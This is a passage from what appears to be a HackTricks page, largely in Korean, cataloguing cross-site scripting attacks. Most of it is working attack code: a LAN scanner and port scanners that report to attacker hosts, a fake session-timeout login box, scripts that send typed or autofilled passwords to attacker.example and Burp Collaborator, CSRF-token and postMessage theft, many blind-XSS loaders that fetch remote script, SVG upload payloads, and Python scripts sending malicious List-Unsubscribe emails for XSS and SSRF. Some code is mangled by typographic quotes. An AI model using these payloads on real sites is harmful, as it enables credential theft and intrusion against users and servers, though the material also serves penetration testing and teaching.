// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
짧은 시간은 응답하는 port를 나타냅니다 더 긴 시간은 응답 없음(응답하지 않음)을 나타냅니다.
Chrome here와 Firefox here에서 차단된 ports 목록을 확인하세요.
자격 증명 요청 상자
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
자동 완성 비밀번호 캡처
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
비밀번호 필드에 어떤 데이터가 입력되면 사용자 이름과 비밀번호가 공격자의 서버로 전송됩니다. 사용자가 저장된 비밀번호를 선택해서 아무것도 입력하지 않아도 자격증명이 ex-filtrated 됩니다.
Hijack form handlers to exfiltrate credentials (const shadowing)
만약 중요한 handler(예: function DoLogin(){...})가 페이지에서 뒤쪽에 선언되고, 당신의 payload가 더 일찍 실행된다면(예: inline JS-in-JS sink를 통해), 동일한 이름의 const를 먼저 정의하여 handler를 선점하고 잠가라. 이후의 function 선언은 const 이름을 재바인딩할 수 없으므로, 당신의 훅이 제어를 유지한다:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
노트
- 이 방법은 실행 순서에 의존합니다: 당신의 인젝션은 정식 선언보다 먼저 실행되어야 합니다.
- 페이로드가
eval(...)로 감싸여 있다면,const/let바인딩은 전역이 되지 않습니다. 진정한 전역(non-rebindable) 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances”의 동적<script>인젝션 기법을 사용하세요. - 키워드 필터가 코드를 차단할 때는 위에 설명한 것처럼 유니코드 이스케이프된 식별자나
eval(atob('...'))전달 방식을 결합하세요.
Keylogger
Just searching in github I found a few different ones:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- You can also use metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage 메시지 탈취
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Service Workers 악용
Shadow DOM 접근
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
다음도 사용할 수 있습니다: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - 숨겨진 콘텐츠 접근
this writeup에서 알 수 있듯이 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서 여전히 찾을 수 있습니다. 예를 들어, REGEX의 입력값은 해당 입력값이 제거된 후에도 여전히 찾을 수 있습니다:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS로 다른 취약점 악용
Markdown에서의 XSS
렌더링되는 Markdown 코드를 주입할 수 있는가? 어쩌면 XSS가 발생할 수 있다! 확인:
XSS to SSRF
캐싱을 사용하는 사이트에서 XSS를 발견했나? Edge Side Include Injection을 통해 그것을 SSRF로 업그레이드해 보라. 다음 payload:
<esi:include src="http://yoursite.com/capture" />
이를 사용하면 쿠키 제한, XSS 필터 등을 우회하고 그 외 다양한 용도로 활용할 수 있습니다!\
More information about this technique here: XSLT.
동적으로 생성된 PDF에서의 XSS
웹 페이지가 사용자 제어 입력을 사용해 PDF를 생성하는 경우, PDF를 생성하는 봇을 속여 임의의 JS 코드를 실행하게 만들 수 있습니다.\
따라서 PDF 생성 봇이 어떤 종류의 HTML 태그를 발견하면, 이를 해석하게 되고 이 동작을 남용해 Server XSS를 유발할 수 있습니다.
HTML 태그를 주입할 수 없다면 PDF 데이터 주입을 시도해 볼 가치가 있습니다:
XSS in Amp4Email
AMP는 모바일 기기에서 웹 페이지 성능을 가속화하기 위해 고안되었으며, 기능 보장을 위해 HTML 태그와 JavaScript를 보완하여 속도와 보안을 강조합니다. 다양한 기능을 위한 컴포넌트를 지원하며, AMP components에서 확인할 수 있습니다.
AMP for Email 형식은 특정 AMP 컴포넌트를 이메일로 확장하여 수신자가 이메일 내에서 직접 콘텐츠와 상호작용할 수 있게 합니다.
Example writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
The RFC 2369 List-Unsubscribe header에는 공격자가 제어하는 URI가 포함될 수 있으며, 많은 웹메일 및 메일 클라이언트는 이를 자동으로 “Unsubscribe” 버튼으로 변환합니다. 해당 URI가 검증 없이 렌더링되거나 가져와질 경우, 이 헤더는 저장된 XSS(구독 취소 링크가 DOM에 배치되는 경우)와 SSRF(서버가 사용자를 대신해 구독 취소 요청을 수행하는 경우) 모두에 대한 주입 지점이 됩니다.
Stored XSS via javascript: URIs
- 자신에게 이메일 보내기: 헤더가
javascript:URI를 가리키도록 하되, 나머지 메시지는 스팸 필터에 걸리지 않도록 무해하게 유지합니다. - UI가 값을 렌더링하는지 확인(많은 클라이언트는 이를 “List Info” 창에 표시함)하고, 결과
<a>태그가href또는target같은 공격자가 제어한 속성을 상속하는지 확인합니다. - 링크가
target="_blank"를 사용할 경우(예: CTRL+click, middle-click, 또는 “open in new tab”), 실행을 트리거하세요; 브라우저는 제공된 JavaScript를 웹메일 애플리케이션의 오리진에서 평가합니다. - 저장된 XSS 프리미티브를 관찰하세요: 페이로드는 이메일에 지속되며 단 한 번의 클릭으로 실행됩니다.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
URI의 newline 바이트 (%0a)는 Horde IMP H5와 같은 취약한 클라이언트에서도 이례적인 문자들이 렌더링 파이프라인을 통과하여 앵커 태그 내에 문자열을 있는 그대로 출력함을 보여준다.
악성 List-Unsubscribe 헤더를 전송하는 Minimal SMTP PoC
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### 서버 측 unsubscribe proxies -> SSRF
일부 클라이언트(예: Nextcloud Mail app)는 unsubscribe 동작을 server-side에서 proxy 처리합니다: 버튼을 클릭하면 서버가 제공된 URL을 직접 가져오도록 지시합니다. 이것은 헤더를 SSRF primitive로 바꿔버리며, 특히 관리자가 'allow_local_remote_servers' => true로 설정한 경우(문서는 [HackerOne report 2902856](https://hackerone.com/reports/2902856)에 있음) loopback 및 RFC1918 대역으로의 요청을 허용합니다.
1. **공격자가 제어하는 엔드포인트를 가리키도록 `List-Unsubscribe`를 설정한 이메일을 작성합니다** (blind SSRF의 경우 Burp Collaborator / OAST 사용).
2. **UI에 원클릭 구독 취소 버튼이 표시되도록 `List-Unsubscribe-Post: List-Unsubscribe=One-Click`를 유지합니다.**
3. **신뢰 요구 사항을 충족시킵니다**: 예를 들어 Nextcloud는 메시지가 DKIM을 통과할 때만 HTTPS 구독 취소 요청을 수행하므로, 공격자는 자신이 제어하는 도메인으로 이메일에 서명해야 합니다.
4. **메시지를 대상 서버가 처리하는 메일박스로 배달하고**, 사용자가 구독 취소 버튼을 클릭할 때까지 기다립니다.
5. **collaborator 엔드포인트에서 server-side 콜백을 관찰한 뒤**, primitive가 확인되면 내부 주소로 피벗합니다.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
SSRF 테스트용 DKIM 서명된 List-Unsubscribe 메시지
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**테스트 노트**
- OAST 엔드포인트를 사용해 blind SSRF hits를 수집한 다음, primitive가 확인되면 `List-Unsubscribe` URL을 `http://127.0.0.1:PORT`, metadata services 또는 다른 내부 호스트로 조정하세요.
- unsubscribe helper는 종종 애플리케이션과 동일한 HTTP 스택을 재사용하므로 proxy 설정, HTTP verbs, header rewrites를 상속받아 [SSRF methodology](../ssrf-server-side-request-forgery/README.md)에 설명된 추가적인 traversal 트릭을 수행할 수 있습니다.
### XSS 파일 업로드 (svg)
다음과 같은 파일을 이미지로 업로드하세요 (출처: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
다음에서 더 많은 SVG payloads를 찾아보세요: https://github.com/allanlw/svg-cheatsheet
기타 JS 트릭 및 관련 정보
Misc JS Tricks & Relevant Info
XSS 자료
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
참고자료
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

